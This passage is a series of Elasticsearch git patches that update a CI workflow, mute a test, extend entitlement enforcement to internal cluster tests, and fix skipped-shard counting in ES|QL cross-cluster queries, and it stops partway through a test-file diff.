 .github/workflows/gradle-wrapper-validation.yml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/.github/workflows/gradle-wrapper-validation.yml b/.github/workflows/gradle-wrapper-validation.yml
index 9bdef18caa43e..ad9ec277588d6 100644
--- a/.github/workflows/gradle-wrapper-validation.yml
+++ b/.github/workflows/gradle-wrapper-validation.yml
@@ -10,5 +10,5 @@ jobs:
     if: github.repository == 'elastic/elasticsearch'
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v2
-      - uses: gradle/wrapper-validation-action@699bb18358f12c5b78b37bb0111d3a0e2276e0e2 # Release v2.1.1
+      - uses: actions/checkout@v4
+      - uses: gradle/actions/wrapper-validation@ac638b010cf58a27ee6c972d7336334ccaf61c96 # Release v4.4.1

From 36440ef2ab650667c6bcb829f56600efafe7f2da Mon Sep 17 00:00:00 2001
From: elasticsearchmachine
 <58790826+elasticsearchmachine@users.noreply.github.com>
Date: Wed, 23 Jul 2025 17:02:00 +0200
Subject: [PATCH 219/299] Mute org.elasticsearch.packaging.test.DockerTests
 test070BindMountCustomPathConfAndJvmOptions #131366

---
 muted-tests.yml | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/muted-tests.yml b/muted-tests.yml
index f742291739842..cee5434e0e21c 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -444,6 +444,9 @@ tests:
 - class: org.elasticsearch.packaging.test.DockerTests
   method: test140CgroupOsStatsAreAvailable
   issue: https://github.com/elastic/elasticsearch/issues/131372
+- class: org.elasticsearch.packaging.test.DockerTests
+  method: test070BindMountCustomPathConfAndJvmOptions
+  issue: https://github.com/elastic/elasticsearch/issues/131366
 
 # Examples:
 #

From 4e857c3fe2faf45c0a7cb336fd83d5a422fc5062 Mon Sep 17 00:00:00 2001
From: Moritz Mack <mmack@apache.org>
Date: Wed, 23 Jul 2025 17:30:28 +0200
Subject: [PATCH 220/299] Support entitlements in internal cluster tests
 (#130710) (#131455)

* To prevent an implicit grant-all if storing node homes inside the Java temp dir, the temporary folder of ESTestCase is configured separately from the Java temp dir in internalClusterTests (by means of the system property tempDir, see TestRuleTemporaryFilesCleanup)

* Move ReloadingDatabasesWhilePerformingGeoLookupsIT from internalClusterTest to test, file permissions in internalClusterTest are stricter on the lucene tempDir
---
 .../internal/ElasticsearchTestBasePlugin.java | 66 +++++++++-------
 .../gradle/test/TestBuildInfoPlugin.java      |  9 ++-
 libs/build.gradle                             |  2 +-
 ...abasesWhilePerformingGeoLookupsTests.java} |  2 +-
 .../UnsafeBootstrapAndDetachCommandIT.java    |  2 +
 .../bootstrap/BootstrapForTesting.java        | 11 +--
 .../bootstrap/TestEntitlementBootstrap.java   | 75 ++++++++++++++++++-
 .../java/org/elasticsearch/node/MockNode.java | 32 +++++---
 .../elasticsearch/test/ESIntegTestCase.java   |  1 -
 .../test/ESSingleNodeTestCase.java            |  1 -
 .../test/SecuritySingleNodeTestCase.java      |  1 +
 .../test/SecurityIntegTestCase.java           |  1 +
 12 files changed, 148 insertions(+), 55 deletions(-)
 rename modules/ingest-geoip/src/{internalClusterTest/java/org/elasticsearch/ingest/geoip/ReloadingDatabasesWhilePerformingGeoLookupsIT.java => test/java/org/elasticsearch/ingest/geoip/ReloadingDatabasesWhilePerformingGeoLookupsTests.java} (99%)

diff --git a/build-tools-internal/src/main/java/org/elasticsearch/gradle/internal/ElasticsearchTestBasePlugin.java b/build-tools-internal/src/main/java/org/elasticsearch/gradle/internal/ElasticsearchTestBasePlugin.java
index da72315521423..88ba8607b9281 100644
--- a/build-tools-internal/src/main/java/org/elasticsearch/gradle/internal/ElasticsearchTestBasePlugin.java
+++ b/build-tools-internal/src/main/java/org/elasticsearch/gradle/internal/ElasticsearchTestBasePlugin.java
@@ -34,6 +34,7 @@
 import java.io.File;
 import java.util.List;
 import java.util.Map;
+import java.util.Set;
 import java.util.stream.Stream;
 
 import javax.inject.Inject;
@@ -50,6 +51,8 @@ public abstract class ElasticsearchTestBasePlugin implements Plugin<Project> {
 
     public static final String DUMP_OUTPUT_ON_FAILURE_PROP_NAME = "dumpOutputOnFailure";
 
+    public static final Set<String> TEST_TASKS_WITH_ENTITLEMENTS = Set.of("test", "internalClusterTest");
+
     @Inject
     protected abstract ProviderFactory getProviderFactory();
 
@@ -174,14 +177,23 @@ public void execute(Task t) {
             nonInputProperties.systemProperty("workspace.dir", Util.locateElasticsearchWorkspace(project.getGradle()));
             // we use 'temp' relative to CWD since this is per JVM and tests are forbidden from writing to CWD
             nonInputProperties.systemProperty("java.io.tmpdir", test.getWorkingDir().toPath().resolve("temp"));
+            if (test.getName().equals("internalClusterTest")) {
+                // configure a node home directory independent of the Java temp dir so that entitlements can be properly enforced
+                nonInputProperties.systemProperty("tempDir", test.getWorkingDir().toPath().resolve("nodesTemp"));
+            }
 
             SourceSetContainer sourceSets = project.getExtensions().getByType(SourceSetContainer.class);
             SourceSet mainSourceSet = sourceSets.findByName(SourceSet.MAIN_SOURCE_SET_NAME);
             SourceSet testSourceSet = sourceSets.findByName(SourceSet.TEST_SOURCE_SET_NAME);
-            if ("test".equals(test.getName()) && mainSourceSet != null && testSourceSet != null) {
+            SourceSet internalClusterTestSourceSet = sourceSets.findByName("internalClusterTest");
+
+            if (TEST_TASKS_WITH_ENTITLEMENTS.contains(test.getName()) && mainSourceSet != null && testSourceSet != null) {
                 FileCollection mainRuntime = mainSourceSet.getRuntimeClasspath();
                 FileCollection testRuntime = testSourceSet.getRuntimeClasspath();
-                FileCollection testOnlyFiles = testRuntime.minus(mainRuntime);
+                FileCollection internalClusterTestRuntime = ("internalClusterTest".equals(test.getName())
+                    && internalClusterTestSourceSet != null) ? internalClusterTestSourceSet.getRuntimeClasspath() : project.files();
+                FileCollection testOnlyFiles = testRuntime.plus(internalClusterTestRuntime).minus(mainRuntime);
+
                 test.doFirst(task -> test.environment("es.entitlement.testOnlyPath", testOnlyFiles.getAsPath()));
             }
 
@@ -241,14 +253,15 @@ public void execute(Task t) {
      * Computes and sets the {@code --patch-module=java.base} and {@code --add-opens=java.base} JVM command line options.
      */
     private void configureJavaBaseModuleOptions(Project project) {
-        project.getTasks().withType(Test.class).matching(task -> task.getName().equals("test")).configureEach(test -> {
-            FileCollection patchedImmutableCollections = patchedImmutableCollections(project);
+        project.getTasks().withType(Test.class).configureEach(test -> {
+            // patch immutable collections only for "test" task
+            FileCollection patchedImmutableCollections = test.getName().equals("test") ? patchedImmutableCollections(project) : null;
             if (patchedImmutableCollections != null) {
                 test.getInputs().files(patchedImmutableCollections);
                 test.systemProperty("tests.hackImmutableCollections", "true");
             }
 
-            FileCollection entitlementBridge = entitlementBridge(project);
+            FileCollection entitlementBridge = TEST_TASKS_WITH_ENTITLEMENTS.contains(test.getName()) ? entitlementBridge(project) : null;
             if (entitlementBridge != null) {
                 test.getInputs().files(entitlementBridge);
             }
@@ -312,27 +325,30 @@ private static void configureEntitlements(Project project) {
         }
         FileCollection bridgeFiles = bridgeConfig;
 
-        project.getTasks().withType(Test.class).configureEach(test -> {
-            // See also SystemJvmOptions.maybeAttachEntitlementAgent.
-
-            // Agent
-            if (agentFiles.isEmpty() == false) {
-                test.getInputs().files(agentFiles);
-                test.systemProperty("es.entitlement.agentJar", agentFiles.getAsPath());
-                test.systemProperty("jdk.attach.allowAttachSelf", true);
-            }
+        project.getTasks()
+            .withType(Test.class)
+            .matching(test -> TEST_TASKS_WITH_ENTITLEMENTS.contains(test.getName()))
+            .configureEach(test -> {
+                // See also SystemJvmOptions.maybeAttachEntitlementAgent.
+
+                // Agent
+                if (agentFiles.isEmpty() == false) {
+                    test.getInputs().files(agentFiles);
+                    test.systemProperty("es.entitlement.agentJar", agentFiles.getAsPath());
+                    test.systemProperty("jdk.attach.allowAttachSelf", true);
+                }
 
-            // Bridge
-            if (bridgeFiles.isEmpty() == false) {
-                String modulesContainingEntitlementInstrumentation = "java.logging,java.net.http,java.naming,jdk.net";
-                test.getInputs().files(bridgeFiles);
-                // Tests may not be modular, but the JDK still is
-                test.jvmArgs(
-                    "--add-exports=java.base/org.elasticsearch.entitlement.bridge=ALL-UNNAMED,"
-                        + modulesContainingEntitlementInstrumentation
-                );
-            }
-        });
+                // Bridge
+                if (bridgeFiles.isEmpty() == false) {
+                    String modulesContainingEntitlementInstrumentation = "java.logging,java.net.http,java.naming,jdk.net";
+                    test.getInputs().files(bridgeFiles);
+                    // Tests may not be modular, but the JDK still is
+                    test.jvmArgs(
+                        "--add-exports=java.base/org.elasticsearch.entitlement.bridge=ALL-UNNAMED,"
+                            + modulesContainingEntitlementInstrumentation
+                    );
+                }
+            });
     }
 
 }
diff --git a/build-tools/src/main/java/org/elasticsearch/gradle/test/TestBuildInfoPlugin.java b/build-tools/src/main/java/org/elasticsearch/gradle/test/TestBuildInfoPlugin.java
index ed20d40582f57..c0aabfe17e56f 100644
--- a/build-tools/src/main/java/org/elasticsearch/gradle/test/TestBuildInfoPlugin.java
+++ b/build-tools/src/main/java/org/elasticsearch/gradle/test/TestBuildInfoPlugin.java
@@ -58,9 +58,12 @@ public void apply(Project project) {
         });
 
         if (project.getRootProject().getName().equals("elasticsearch")) {
-            project.getTasks().withType(Test.class).matching(test -> List.of("test").contains(test.getName())).configureEach(test -> {
-                test.systemProperty("es.entitlement.enableForTests", "true");
-            });
+            project.getTasks()
+                .withType(Test.class)
+                .matching(test -> List.of("test", "internalClusterTest").contains(test.getName()))
+                .configureEach(test -> {
+                    test.systemProperty("es.entitlement.enableForTests", "true");
+                });
         }
     }
 }
diff --git a/libs/build.gradle b/libs/build.gradle
index b39ddaab98c2d..79806b0dc45b3 100644
--- a/libs/build.gradle
+++ b/libs/build.gradle
@@ -50,7 +50,7 @@ configure(childProjects.values()) {
   // Omit oddball libraries that aren't in server.
   def nonServerLibs = ['plugin-scanner']
   if (false == nonServerLibs.contains(project.name)) {
-    project.getTasks().withType(Test.class).matching(test -> ['test'].contains(test.name)).configureEach(test -> {
+    project.getTasks().withType(Test.class).matching(test -> ['test', 'internalClusterTest'].contains(test.name)).configureEach(test -> {
       test.systemProperty('es.entitlement.enableForTests', 'true')
     })
   }
diff --git a/modules/ingest-geoip/src/internalClusterTest/java/org/elasticsearch/ingest/geoip/ReloadingDatabasesWhilePerformingGeoLookupsIT.java b/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/ReloadingDatabasesWhilePerformingGeoLookupsTests.java
similarity index 99%
rename from modules/ingest-geoip/src/internalClusterTest/java/org/elasticsearch/ingest/geoip/ReloadingDatabasesWhilePerformingGeoLookupsIT.java
rename to modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/ReloadingDatabasesWhilePerformingGeoLookupsTests.java
index c65d9a2dc2009..7f298038141df 100644
--- a/modules/ingest-geoip/src/internalClusterTest/java/org/elasticsearch/ingest/geoip/ReloadingDatabasesWhilePerformingGeoLookupsIT.java
+++ b/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/ReloadingDatabasesWhilePerformingGeoLookupsTests.java
@@ -57,7 +57,7 @@
                     // 'WindowsFS.checkDeleteAccess(...)').
     }
 )
-public class ReloadingDatabasesWhilePerformingGeoLookupsIT extends ESTestCase {
+public class ReloadingDatabasesWhilePerformingGeoLookupsTests extends ESTestCase {
 
     /**
      * This tests essentially verifies that a Maxmind database reader doesn't fail with:
diff --git a/server/src/internalClusterTest/java/org/elasticsearch/cluster/coordination/UnsafeBootstrapAndDetachCommandIT.java b/server/src/internalClusterTest/java/org/elasticsearch/cluster/coordination/UnsafeBootstrapAndDetachCommandIT.java
index 6e548f773009f..fc6c72ee86984 100644
--- a/server/src/internalClusterTest/java/org/elasticsearch/cluster/coordination/UnsafeBootstrapAndDetachCommandIT.java
+++ b/server/src/internalClusterTest/java/org/elasticsearch/cluster/coordination/UnsafeBootstrapAndDetachCommandIT.java
@@ -24,6 +24,7 @@
 import org.elasticsearch.gateway.PersistedClusterStateService;
 import org.elasticsearch.node.Node;
 import org.elasticsearch.test.ESIntegTestCase;
+import org.elasticsearch.test.ESTestCase;
 import org.elasticsearch.test.InternalTestCluster;
 
 import java.io.IOException;
@@ -39,6 +40,7 @@
 import static org.hamcrest.Matchers.notNullValue;
 
 @ESIntegTestCase.ClusterScope(scope = ESIntegTestCase.Scope.TEST, numDataNodes = 0, autoManageMasterNodes = false)
+@ESTestCase.WithoutEntitlements // CLI tools don't run with entitlements enforced
 public class UnsafeBootstrapAndDetachCommandIT extends ESIntegTestCase {
 
     private MockTerminal executeCommand(ElasticsearchNodeCommand command, Environment environment, boolean abort) throws Exception {
diff --git a/test/framework/src/main/java/org/elasticsearch/bootstrap/BootstrapForTesting.java b/test/framework/src/main/java/org/elasticsearch/bootstrap/BootstrapForTesting.java
index be709eaf5f43c..bf53f14bc9e46 100644
--- a/test/framework/src/main/java/org/elasticsearch/bootstrap/BootstrapForTesting.java
+++ b/test/framework/src/main/java/org/elasticsearch/bootstrap/BootstrapForTesting.java
@@ -14,7 +14,6 @@
 import org.elasticsearch.common.network.IfConfig;
 import org.elasticsearch.common.settings.Settings;
 import org.elasticsearch.core.Booleans;
-import org.elasticsearch.core.Nullable;
 import org.elasticsearch.core.PathUtils;
 import org.elasticsearch.entitlement.bootstrap.TestEntitlementBootstrap;
 import org.elasticsearch.jdk.JarHell;
@@ -76,20 +75,12 @@ public class BootstrapForTesting {
 
         // Fire up entitlements
         try {
-            TestEntitlementBootstrap.bootstrap(javaTmpDir, maybePath(System.getProperty("tests.config")));
+            TestEntitlementBootstrap.bootstrap(javaTmpDir);
         } catch (IOException e) {
             throw new IllegalStateException(e.getClass().getSimpleName() + " while initializing entitlements for tests", e);
         }
     }
 
-    private static @Nullable Path maybePath(String str) {
-        if (str == null) {
-            return null;
-        } else {
-            return PathUtils.get(str);
-        }
-    }
-
     // does nothing, just easy way to make sure the class is loaded.
     public static void ensureInitialized() {}
 }
diff --git a/test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestEntitlementBootstrap.java b/test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestEntitlementBootstrap.java
index 423c407650434..3e6f09915358b 100644
--- a/test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestEntitlementBootstrap.java
+++ b/test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestEntitlementBootstrap.java
@@ -12,6 +12,7 @@
 import org.elasticsearch.bootstrap.TestBuildInfo;
 import org.elasticsearch.bootstrap.TestBuildInfoParser;
 import org.elasticsearch.bootstrap.TestScopeResolver;
+import org.elasticsearch.common.settings.Settings;
 import org.elasticsearch.core.Booleans;
 import org.elasticsearch.core.Nullable;
 import org.elasticsearch.core.PathUtils;
@@ -19,6 +20,7 @@
 import org.elasticsearch.core.SuppressForbidden;
 import org.elasticsearch.entitlement.initialization.EntitlementInitialization;
 import org.elasticsearch.entitlement.runtime.policy.PathLookup;
+import org.elasticsearch.entitlement.runtime.policy.PathLookup.BaseDir;
 import org.elasticsearch.entitlement.runtime.policy.Policy;
 import org.elasticsearch.entitlement.runtime.policy.PolicyParser;
 import org.elasticsearch.entitlement.runtime.policy.TestPathLookup;
@@ -32,39 +34,106 @@
 import java.net.URI;
 import java.net.URL;
 import java.nio.file.Path;
+import java.nio.file.Paths;
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.Collection;
 import java.util.HashMap;
+import java.util.HashSet;
 import java.util.List;
 import java.util.Map;
 import java.util.Set;
 import java.util.TreeSet;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.function.BiFunction;
+import java.util.function.Consumer;
 
 import static java.util.stream.Collectors.toCollection;
 import static java.util.stream.Collectors.toSet;
-import static org.elasticsearch.entitlement.runtime.policy.PathLookup.BaseDir.CONFIG;
 import static org.elasticsearch.entitlement.runtime.policy.PathLookup.BaseDir.TEMP;
+import static org.elasticsearch.env.Environment.PATH_DATA_SETTING;
+import static org.elasticsearch.env.Environment.PATH_HOME_SETTING;
+import static org.elasticsearch.env.Environment.PATH_REPO_SETTING;
 
 public class TestEntitlementBootstrap {
 
     private static final Logger logger = LogManager.getLogger(TestEntitlementBootstrap.class);
 
+    private static Map<BaseDir, Collection<Path>> baseDirPaths = new ConcurrentHashMap<>();
     private static TestPolicyManager policyManager;
 
     /**
      * Activates entitlement checking in tests.
      */
-    public static void bootstrap(@Nullable Path tempDir, @Nullable Path configDir) throws IOException {
+    public static void bootstrap(@Nullable Path tempDir) throws IOException {
         if (isEnabledForTest() == false) {
             return;
         }
-        TestPathLookup pathLookup = new TestPathLookup(Map.of(TEMP, zeroOrOne(tempDir), CONFIG, zeroOrOne(configDir)));
+        var previousTempDir = baseDirPaths.put(TEMP, zeroOrOne(tempDir));
+        assert previousTempDir == null : "Test entitlement bootstrap called multiple times";
+        TestPathLookup pathLookup = new TestPathLookup(baseDirPaths);
         policyManager = createPolicyManager(pathLookup);
         EntitlementInitialization.initializeArgs = new EntitlementInitialization.InitializeArgs(pathLookup, Set.of(), policyManager);
         logger.debug("Loading entitlement agent");
         EntitlementBootstrap.loadAgent(EntitlementBootstrap.findAgentJar(), EntitlementInitialization.class.getName());
     }
 
+    public static void registerNodeBaseDirs(Settings settings, Path configPath) {
+        if (policyManager == null) {
+            return;
+        }
+        Path homeDir = absolutePath(PATH_HOME_SETTING.get(settings));
+        Path configDir = configPath != null ? configPath : homeDir.resolve("config");
+        Collection<Path> dataDirs = dataDirs(settings, homeDir);
+        Collection<Path> repoDirs = repoDirs(settings);
+        logger.debug("Registering node dirs: config [{}], dataDirs [{}], repoDirs [{}]", configDir, dataDirs, repoDirs);
+        baseDirPaths.compute(BaseDir.CONFIG, baseDirModifier(paths -> paths.add(configDir)));
+        baseDirPaths.compute(BaseDir.DATA, baseDirModifier(paths -> paths.addAll(dataDirs)));
+        baseDirPaths.compute(BaseDir.SHARED_REPO, baseDirModifier(paths -> paths.addAll(repoDirs)));
+        policyManager.reset();
+    }
+
+    public static void unregisterNodeBaseDirs(Settings settings, Path configPath) {
+        if (policyManager == null) {
+            return;
+        }
+        Path homeDir = absolutePath(PATH_HOME_SETTING.get(settings));
+        Path configDir = configPath != null ? configPath : homeDir.resolve("config");
+        Collection<Path> dataDirs = dataDirs(settings, homeDir);
+        Collection<Path> repoDirs = repoDirs(settings);
+        logger.debug("Unregistering node dirs: config [{}], dataDirs [{}], repoDirs [{}]", configDir, dataDirs, repoDirs);
+        baseDirPaths.compute(BaseDir.CONFIG, baseDirModifier(paths -> paths.remove(configDir)));
+        baseDirPaths.compute(BaseDir.DATA, baseDirModifier(paths -> paths.removeAll(dataDirs)));
+        baseDirPaths.compute(BaseDir.SHARED_REPO, baseDirModifier(paths -> paths.removeAll(repoDirs)));
+        policyManager.reset();
+    }
+
+    private static Collection<Path> dataDirs(Settings settings, Path homeDir) {
+        List<String> dataDirs = PATH_DATA_SETTING.get(settings);
+        return dataDirs.isEmpty()
+            ? List.of(homeDir.resolve("data"))
+            : dataDirs.stream().map(TestEntitlementBootstrap::absolutePath).toList();
+    }
+
+    private static Collection<Path> repoDirs(Settings settings) {
+        return PATH_REPO_SETTING.get(settings).stream().map(TestEntitlementBootstrap::absolutePath).toList();
+    }
+
+    private static BiFunction<BaseDir, Collection<Path>, Collection<Path>> baseDirModifier(Consumer<Collection<Path>> consumer) {
+        return (BaseDir baseDir, Collection<Path> paths) -> {
+            if (paths == null) {
+                paths = new HashSet<>();
+            }
+            consumer.accept(paths);
+            return paths;
+        };
+    }
+
+    @SuppressForbidden(reason = "must be resolved using the default file system, rather then the mocked test file system")
+    private static Path absolutePath(String path) {
+        return Paths.get(path).toAbsolutePath().normalize();
+    }
+
     private static <T> List<T> zeroOrOne(T item) {
         if (item == null) {
             return List.of();
diff --git a/test/framework/src/main/java/org/elasticsearch/node/MockNode.java b/test/framework/src/main/java/org/elasticsearch/node/MockNode.java
index 9a99b5c881941..000c285b6f637 100644
--- a/test/framework/src/main/java/org/elasticsearch/node/MockNode.java
+++ b/test/framework/src/main/java/org/elasticsearch/node/MockNode.java
@@ -24,6 +24,7 @@
 import org.elasticsearch.common.util.MockBigArrays;
 import org.elasticsearch.common.util.MockPageCacheRecycler;
 import org.elasticsearch.common.util.PageCacheRecycler;
+import org.elasticsearch.entitlement.bootstrap.TestEntitlementBootstrap;
 import org.elasticsearch.env.Environment;
 import org.elasticsearch.http.HttpServerTransport;
 import org.elasticsearch.indices.ExecutorSelector;
@@ -53,6 +54,7 @@
 import org.elasticsearch.transport.TransportService;
 import org.elasticsearch.transport.TransportSettings;
 
+import java.io.IOException;
 import java.nio.file.Path;
 import java.util.Collection;
 import java.util.Collections;
@@ -250,16 +252,7 @@ public MockNode(
         final Path configPath,
         final boolean forbidPrivateIndexSettings
     ) {
-        this(
-            InternalSettingsPreparer.prepareEnvironment(
-                Settings.builder().put(TransportSettings.PORT.getKey(), ESTestCase.getPortRange()).put(settings).build(),
-                Collections.emptyMap(),
-                configPath,
-                () -> "mock_ node"
-            ),
-            classpathPlugins,
-            forbidPrivateIndexSettings
-        );
+        this(prepareEnvironment(settings, configPath), classpathPlugins, forbidPrivateIndexSettings);
     }
 
     private MockNode(
@@ -278,6 +271,25 @@ PluginsService newPluginService(Environment environment, PluginsLoader pluginsLo
         this.classpathPlugins = classpathPlugins;
     }
 
+    private static Environment prepareEnvironment(final Settings settings, final Path configPath) {
+        TestEntitlementBootstrap.registerNodeBaseDirs(settings, configPath);
+        return InternalSettingsPreparer.prepareEnvironment(
+            Settings.builder().put(TransportSettings.PORT.getKey(), ESTestCase.getPortRange()).put(settings).build(),
+            Collections.emptyMap(),
+            configPath,
+            () -> "mock_ node"
+        );
+    }
+
+    @Override
+    public synchronized void close() throws IOException {
+        try {
+            super.close();
+        } finally {
+            TestEntitlementBootstrap.unregisterNodeBaseDirs(getEnvironment().settings(), getEnvironment().configDir());
+        }
+    }
+
     /**
      * The classpath plugins this node was constructed with.
      */
diff --git a/test/framework/src/main/java/org/elasticsearch/test/ESIntegTestCase.java b/test/framework/src/main/java/org/elasticsearch/test/ESIntegTestCase.java
index 884c1caf85488..afbabe110aa4e 100644
--- a/test/framework/src/main/java/org/elasticsearch/test/ESIntegTestCase.java
+++ b/test/framework/src/main/java/org/elasticsearch/test/ESIntegTestCase.java
@@ -285,7 +285,6 @@
  * </ul>
  */
 @LuceneTestCase.SuppressFileSystems("ExtrasFS") // doesn't work with potential multi data path from test cluster yet
-@ESTestCase.WithoutEntitlements // ES-12042
 public abstract class ESIntegTestCase extends ESTestCase {
 
     /** node names of the corresponding clusters will start with these prefixes */
diff --git a/test/framework/src/main/java/org/elasticsearch/test/ESSingleNodeTestCase.java b/test/framework/src/main/java/org/elasticsearch/test/ESSingleNodeTestCase.java
index f7d272e793e0f..7ebc5765bda63 100644
--- a/test/framework/src/main/java/org/elasticsearch/test/ESSingleNodeTestCase.java
+++ b/test/framework/src/main/java/org/elasticsearch/test/ESSingleNodeTestCase.java
@@ -90,7 +90,6 @@
  * A test that keep a singleton node started for all tests that can be used to get
  * references to Guice injectors in unit tests.
  */
-@ESTestCase.WithoutEntitlements // ES-12042
 public abstract class ESSingleNodeTestCase extends ESTestCase {
 
     private static Node NODE = null;
diff --git a/x-pack/plugin/security/src/internalClusterTest/java/org/elasticsearch/test/SecuritySingleNodeTestCase.java b/x-pack/plugin/security/src/internalClusterTest/java/org/elasticsearch/test/SecuritySingleNodeTestCase.java
index 3d640cd962c19..5de501e42d1f2 100644
--- a/x-pack/plugin/security/src/internalClusterTest/java/org/elasticsearch/test/SecuritySingleNodeTestCase.java
+++ b/x-pack/plugin/security/src/internalClusterTest/java/org/elasticsearch/test/SecuritySingleNodeTestCase.java
@@ -69,6 +69,7 @@
  * {@link SecurityIntegTestCase} due to simplicity and improved speed from not needing to start
  * multiple nodes and wait for the cluster to form.
  */
+@ESTestCase.WithoutEntitlements // requires entitlement delegation ES-12382
 public abstract class SecuritySingleNodeTestCase extends ESSingleNodeTestCase {
 
     private static SecuritySettingsSource SECURITY_DEFAULT_SETTINGS = null;
diff --git a/x-pack/plugin/security/src/test/java/org/elasticsearch/test/SecurityIntegTestCase.java b/x-pack/plugin/security/src/test/java/org/elasticsearch/test/SecurityIntegTestCase.java
index d59dc56d15686..24b0caab73186 100644
--- a/x-pack/plugin/security/src/test/java/org/elasticsearch/test/SecurityIntegTestCase.java
+++ b/x-pack/plugin/security/src/test/java/org/elasticsearch/test/SecurityIntegTestCase.java
@@ -60,6 +60,7 @@
  *
  * @see SecuritySettingsSource
  */
+@ESTestCase.WithoutEntitlements // requires entitlement delegation ES-12382
 public abstract class SecurityIntegTestCase extends ESIntegTestCase {
 
     private static SecuritySettingsSource SECURITY_DEFAULT_SETTINGS;

From 7be2bc48a1bba7a00ae764cd7063c831e723f9bf Mon Sep 17 00:00:00 2001
From: Stanislav Malyshev <smalyshev@users.noreply.github.com>
Date: Wed, 23 Jul 2025 10:16:10 -0600
Subject: [PATCH 221/299] Fix counting skipped shards with filters (#131737)
 (#131769)

* Fix counting skipped shards with filters

(cherry picked from commit a345f561e150c8943c1b16a71a00bd46d15e0a4f)

# Conflicts:
#	x-pack/plugin/esql/qa/server/multi-clusters/src/javaRestTest/java/org/elasticsearch/xpack/esql/ccq/MultiClustersIT.java
#	x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
---
 muted-tests.yml                               |  3 --
 .../xpack/esql/ccq/MultiClustersIT.java       | 29 +++++++++++++++++--
 .../CrossClusterQueryWithFiltersIT.java       |  8 +++--
 .../xpack/esql/action/EsqlCapabilities.java   |  7 ++++-
 .../esql/plugin/DataNodeRequestSender.java    | 17 ++++++-----
 5 files changed, 47 insertions(+), 17 deletions(-)

diff --git a/muted-tests.yml b/muted-tests.yml
index cee5434e0e21c..7b8967960fbab 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -330,9 +330,6 @@ tests:
 - class: org.elasticsearch.xpack.search.CrossClusterAsyncSearchIT
   method: testCCSClusterDetailsWhereAllShardsSkippedInCanMatch
   issue: https://github.com/elastic/elasticsearch/issues/128418
-- class: org.elasticsearch.xpack.esql.action.CrossClusterQueryWithFiltersIT
-  method: testTimestampFilterFromQuery
-  issue: https://github.com/elastic/elasticsearch/issues/127332
 - class: org.elasticsearch.xpack.esql.plugin.DataNodeRequestSenderIT
   method: testSearchWhileRelocating
   issue: https://github.com/elastic/elasticsearch/issues/128500
diff --git a/x-pack/plugin/esql/qa/server/multi-clusters/src/javaRestTest/java/org/elasticsearch/xpack/esql/ccq/MultiClustersIT.java b/x-pack/plugin/esql/qa/server/multi-clusters/src/javaRestTest/java/org/elasticsearch/xpack/esql/ccq/MultiClustersIT.java
index a7eeef8e823a2..b657d74c97d9b 100644
--- a/x-pack/plugin/esql/qa/server/multi-clusters/src/javaRestTest/java/org/elasticsearch/xpack/esql/ccq/MultiClustersIT.java
+++ b/x-pack/plugin/esql/qa/server/multi-clusters/src/javaRestTest/java/org/elasticsearch/xpack/esql/ccq/MultiClustersIT.java
@@ -72,6 +72,7 @@ record Doc(int id, String color, long data) {
     List<Doc> localDocs = List.of();
     final String remoteIndex = "test-remote-index";
     List<Doc> remoteDocs = List.of();
+    private Boolean shouldCheckShardCounts = null;
 
     @Before
     public void setUpIndices() throws Exception {
@@ -164,6 +165,17 @@ private Map<String, Object> runEsql(RestEsqlTestCase.RequestObjectBuilder reques
         }
     }
 
+    private boolean checkShardCounts() {
+        if (shouldCheckShardCounts == null) {
+            try {
+                shouldCheckShardCounts = capabilitiesSupportedNewAndOld(List.of("correct_skipped_shard_count"));
+            } catch (IOException e) {
+                shouldCheckShardCounts = false;
+            }
+        }
+        return shouldCheckShardCounts;
+    }
+
     private <C, V> void assertResultMapForLike(
         boolean includeCCSMetadata,
         Map<String, Object> result,
@@ -295,11 +307,16 @@ private void assertClusterDetailsMap(Map<String, Object> result, boolean remoteO
         assertThat(
             remoteClusterShards,
             matchesMap().entry("total", greaterThanOrEqualTo(0))
-                .entry("successful", remoteClusterShards.get("total"))
+                .entry("successful", greaterThanOrEqualTo(0))
                 .entry("skipped", greaterThanOrEqualTo(0))
                 .entry("failed", 0)
         );
-
+        if (checkShardCounts()) {
+            assertThat(
+                (int) remoteClusterShards.get("successful") + (int) remoteClusterShards.get("skipped"),
+                equalTo(remoteClusterShards.get("total"))
+            );
+        }
         if (remoteOnly == false) {
             @SuppressWarnings("unchecked")
             Map<String, Object> localCluster = (Map<String, Object>) details.get("(local)");
@@ -313,10 +330,16 @@ private void assertClusterDetailsMap(Map<String, Object> result, boolean remoteO
             assertThat(
                 localClusterShards,
                 matchesMap().entry("total", greaterThanOrEqualTo(0))
-                    .entry("successful", localClusterShards.get("total"))
+                    .entry("successful", greaterThanOrEqualTo(0))
                     .entry("skipped", greaterThanOrEqualTo(0))
                     .entry("failed", 0)
             );
+            if (checkShardCounts()) {
+                assertThat(
+                    (int) localClusterShards.get("successful") + (int) localClusterShards.get("skipped"),
+                    equalTo(localClusterShards.get("total"))
+                );
+            }
         }
     }
 
diff --git a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/CrossClusterQueryWithFiltersIT.java b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/CrossClusterQueryWithFiltersIT.java
index ccea99b798d14..9f057621aabf7 100644
--- a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/CrossClusterQueryWithFiltersIT.java
+++ b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/CrossClusterQueryWithFiltersIT.java
@@ -62,8 +62,10 @@ protected void assertClusterMetadata(EsqlExecutionInfo.Cluster clusterMetatata,
